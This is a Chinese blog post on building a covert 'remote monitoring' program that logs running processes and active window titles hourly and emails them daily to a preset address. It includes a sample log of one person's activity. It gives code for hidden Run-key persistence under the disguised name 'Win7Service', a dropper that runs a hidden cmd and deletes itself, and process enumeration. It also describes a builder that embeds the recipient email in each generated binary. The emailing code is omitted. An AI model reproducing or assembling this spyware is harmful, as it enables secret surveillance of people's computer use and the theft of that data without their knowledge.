您的位置:首页 > 运维架构

远程监控程序的实现

2013-04-27 09:57 281 查看
本程序能实现监控的功能,由于我不想记录太多的信息,所以简化了其中的功能。程序中主要记录当前的进程列表和活动窗口的标题,每小时记录一次,每一天向预先设定的邮箱中发一封邮件,典型的邮件内容如下:
2011-03-28

12:28

当前窗口:开始

[System Process]

smss.exe

csrss.exe

wininit.exe

winlogon.exe

services.exe

lsass.exe

lsm.exe

svchost.exe

ibmpmsvc.exe

audiodg.exe

RtkAudioService.exe

RtHDVBg.exe

ZhuDongFangYu.exe

taskeng.exe

lpksetup.exe

TPHKSVC.exe

360rp.exe

taskhost.exe

tpnumlkd.exe

dwm.exe

explorer.exe

FNPLicensingService.exe

CamMute.exe

micmute.exe

TPKNRSVC.exe

lvvsst.exe

virtscrl.exe

rrservice.exe

ImeUtil.exe

WLIDSVC.EXE

TpShocks.exe

TPOSDSVC.exe

rundll32.exe

TPONSCR.exe

SynTPEnh.exe

WLIDSVCM.EXE

msswin7.exe

360sdrun.exe

360speedld.exe

360tray.exe

360leakfixer.exe

sppsvc.exe

SynTPLpr.exe

360sd.exe

SearchIndexer.exe

dllhost.exe

WmiPrvSE.exe

SynTPHelper.exe

13:00

当前窗口:抢盐背后的搞笑段子、图片,不信你不笑!! - 新鲜郑州 - 郑州论坛 _郑州同城交友活动_最温暖最郑州的网络生活 - 河南一百度 - Windows Internet Explorer

wmpnetwk.exe

SUService.exe

tvt_reg_monitor_svc.exe

QQ.exe

TXPlatform.exe

sogouexplorer.exe

iexplore.exe

SogouCloud.exe

SearchProtocolHost.exe

Thunder.exe

ThunderPlatform.exe

FlashUtil10o_ActiveX.exe

SearchFilterHost.exe

13:05

当前窗口:360杀毒 v1.2

userinit.exe

TrustedInstaller.exe

13:10

当前窗口:360杀毒 v1.2

14:10

当前窗口:Program Manager

wmpnscfg.exe

15:00

当前窗口:迅雷7

MOM.exe

CCC.exe

16:00

当前窗口:迅雷7

17:55

当前窗口:Dialog

18:00

当前窗口:新加卷 (E:)

KuGoo.exe

KGDaemon.exe

19:00

当前窗口:360杀毒 v1.2 - 全盘扫描

20:00

当前窗口:TDDOWNLOAD

21:00

当前窗口:秋水之冰

Xmp.exe

WUDFHost.exe

22:00

当前窗口:我知女人心HD高清版.rmvb



本程序无界面,在控制台程序中释放主程序,完成一些初始化工作,并自动设为启动项。下面主要粘贴几段关键的代码。

1 设为启动项

void EnableAutoLaunch(CString processPath)
{
 //写入注册表,开机自启动
 HKEY hKey;
 //找到系统的启动项
 LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
 //打开启动项Key
 long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE,lpRun,0, KEY_WRITE, &hKey);
 if(lRet == ERROR_SUCCESS)
 {
  DWORD dwRet =processPath.GetLength();
  char *pFileName=processPath.GetBuffer(dwRet);
  //添加一个子Key,并设置值
  lRet = RegSetValueEx(hKey, "Win7Service",0, REG_SZ, (BYTE*)pFileName, dwRet);
  //关闭注册表
  RegCloseKey(hKey);
  if(lRet != ERROR_SUCCESS)
  {
   AfxMessageBox("系统参数错误,不能随系统启动");
  }
 }
}




2 释放程序

void ReleaseResource(int resourceID,CString resType,CString proPath,BOOL appendInf/*=FALSE*/,CString inf/*=""*/)
{
 DWORD writeSize=0;
 
 HANDLE hFile = CreateFile(proPath.GetBuffer(0), GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 
 HRSRC hrsrc=FindResource(NULL,MAKEINTRESOURCE(resourceID),resType.GetBuffer(0));
 LPCVOID lp=LockResource(LoadResource(NULL,hrsrc));
 DWORD fileSize=SizeofResource(NULL,hrsrc);
 WriteFile(hFile,lp,fileSize,&writeSize,NULL);
 if(appendInf)//是否在程序末尾追加信息
 {
  WriteFile(hFile,inf.GetBuffer(0),256,&writeSize,NULL);
 }
 CloseHandle(hFile);
 MessageBox(AfxGetApp()->GetMainWnd()->GetSafeHwnd(),"done.","信息",MB_ICONINFORMATION);
 ShellExecute(NULL,"open","cmd.exe","/c taskkill /f /im Host.exe & del /f Host.exe",NULL,SW_HIDE);//删除自身,嘻嘻。

}


3 遍历进程列表

void EnumerateProcesses()
{
 HANDLE snapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 //--------------------------------------
 //查询进程
 //--------------------------------------
 PROCESSENTRY32  processInfo;
 CString strProcessName= "";
 DWORD  nProcessID=0;
 int nProcessTerminate=0;
 processInfo.dwSize = sizeof(PROCESSENTRY32);
 BOOL status=Process32First(snapShot,&processInfo);
 while(status)
 {
  strProcessName = processInfo.szExeFile;
  UpdateProcessList(strProcessName);//更新进程列表
  status = Process32Next(snapShot,&processInfo);
 }
}


4 定制服务端的生成

就是根据用户输入的email来生成不同的服务端程序。见2中释放程序的函数,我们需要在程序的末尾追加特定信息,这里把用户定制的email信息追加到服务端末尾,本程序向服务端程序末尾追加256字节数据,等到服务端运行的时候会打开自己,读取其末尾的256字节数据,从而得到email信息。

5 发送email

这个函数很关键,代码不少。这里不贴了。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: